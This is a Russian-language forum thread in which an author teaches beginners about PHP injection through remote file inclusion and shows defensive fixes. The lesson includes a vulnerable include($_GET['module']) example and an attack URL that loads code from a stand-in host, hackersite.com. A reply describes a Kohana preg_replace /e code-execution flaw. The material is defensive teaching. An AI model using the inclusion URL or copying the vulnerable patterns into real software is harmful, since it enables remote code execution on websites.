{% else-1 %}
Обновить | Подписаться | Поднять тему
Чтобы выполнить действие авторизируйтесь или пройдите регистрацию на сайте.
1. [автор] (6 мар 2015, 15:34) [7/0] [7] [отв] [спам] [под] +1 | -1

В этом уроке мы рассмотрим один из видов взлома сайта и как от него защититься. Для начала давайте поймем, что такое PHP-инъекция.

PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
Потенциально опасными функциями являются:
¤ eval()
¤ preg_replace()
¤ require_once()
¤ include_once()
¤ include()
¤ require()
¤ create_function()

PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример
<?
...
$module = $_GET['module'];
include($module.'.php');
...
?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.(когда ставил одному чуваку защиту для движка Dcms Social помню, там такая уязвимость есть в системном файле)
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты
Существует несколько способов защиты от такой атаки:
Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module,'.?/:')) die('Пошел в жопу, хакер одноклеточный');
include $module.'.php';
...
?>
Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module, $arr))
$module = $arr[0];
include $module.'.php';
...
?>
Этот способ является более эффективным, красивым и аккуратным.
Прописать каждое значение через if
<?
...
$module = $_GET['module'];
if ($module == 'main')
include 'main.php';
if ($module == 'about')
include 'about.php';
if ($module == 'links')
include 'links.php';
if ($module == 'forum')
include 'forum.php';
...
?>
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.

Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

Если у вас отстались вопросы - задавайте, рад буду помочь.

2.
Vol"jin * 5.23
(6 мар 2015, 15:36) [1/0] [1] [отв] [спам] [под] +1 | -1

как через регулярные выражения могут взломать

3. [автор] (6 мар 2015, 15:45) [0/0] [0] [отв] [спам] [под] +1 | -1

В следующей статье(завтра) про неё напишу.

4.
bibilink * 19.01
(6 мар 2015, 15:49) [0/0] [0] [отв] [спам] [под] +1 | -1

Нужно ещё больше баянов.

5. [автор] (6 мар 2015, 15:58) [0/0] [0] [отв] [спам] [под] +1 | -1
Vol"jin,

Приведу пример уязвимости в фреймворке Кохана.
Функции из ядра Коханы версии 3.2:
<?
public function redirect($url = '', $code = 302) {
$referrer = $this->uri();
$protocol = ($this->secure()) ? 'https' : TRUE;
if (strpos($referrer, '://') === FALSE) {
$referrer = URL::site($referrer, $protocol, !empty(Kohana::$index_file));
}
if (strpos($url, '://') === FALSE) {
$url = URL::site($url, TRUE, ! empty(Kohana::$index_file));
}
if (($response = $this->response()) === NULL) {
$response = $this->create_response();
}
echo $response->status($code)->headers('Location', $url)->headers('Referer', $referrer)->send_headers()->body();
exit;
}
public static function site($uri = '', $protocol = NULL, $index = TRUE) {
$path = preg_replace('~^[-a-z0-9+.]++://[^/]++/?~', '', trim($uri, '/'));
if (!UTF8::is_ascii($path)) {
$path = preg_replace('~([^/]+)~e', 'rawurlencode("$1"*', $path);
}
URL::base($protocol, $index).$path;
}
?>
Как видно, при использовании функции редиректа у реквеста к текущему uri применяется функция URL::site, в которой используется preg_replace с модификатором исполнения «e»: к каждому сегменту урла применяется rawurlencode, причем сегмент передается в двойных кавычках, что позволяет передать туда что-нибудь вроде (${Удалён и оно отработает. Таким образом, если у нас по ссылке http://site/path/param1 производится редирект, то дописав в param1 выражение вроде (${Удалён можно выполнить какой-нибудь код.

6. [автор] (6 мар 2015, 16:01) [0/0] [0] [отв] [спам] [под] +1 | -1
bibilink,

Знаешь? Я рад за тебя! Статья для тех, кто не знает. Все новичками были, в том числе и я. Однажды мне помогли, теперь я кому-нибудь помогу. Во-вторых, тема не в оффтопе.

7.
bibilink * 19.01
(6 мар 2015, 16:08) [0/0] [0] [отв] [спам] [под] +1 | -1

LiveStreet,просто тема известная лет 10. Кто хоть раз всерьёз интересовался взломами сайтов,все это читал. А зная местных юзеров,есть большая вероятность что способы эти будут использованы в виде бекдоров *

8.
donttime * [мошенник] 9.68
(6 мар 2015, 20:10) [1/0] [1] [отв] [спам] [под] +1 | -1

За несколько лет пребывания на этом сайте я понял что помощь тут никому не нужна в таком виде, здесь любят когда всё делают за них и за бесплатно, и советую автор тебе не тратить время на эти бесполезные темы.

Да и если посудить, это так же ненужно и администрации, я уже был несколько раз забанен за холивары на интересные для программистов темы.

И люди тут не меняются, нормальные пользователи постят всё меньше и меньше.

А так да боян по сути интересен, но такие ошибки уже даже новички давно не допускают.

9.
Reptile * 0.64
(6 мар 2015, 20:12) [1/0] [1] [отв] [спам] [под] +1 | -1

такие жесткие косяки могут только конченные дебилы делать *

10.
[STEM] * 16.33
(6 мар 2015, 20:16) [0/0] [0] [отв] [спам] [под] +1 | -1
donttime,

Ты сам написал, что есть нормальные люди. Мне например тема была полезна*

Чтобы писать сообщения авторизируйтесь или пройдите регистрацию на сайте.
Подписаны: 1
Скачать тему | Файлы темы | Фильтр сообщений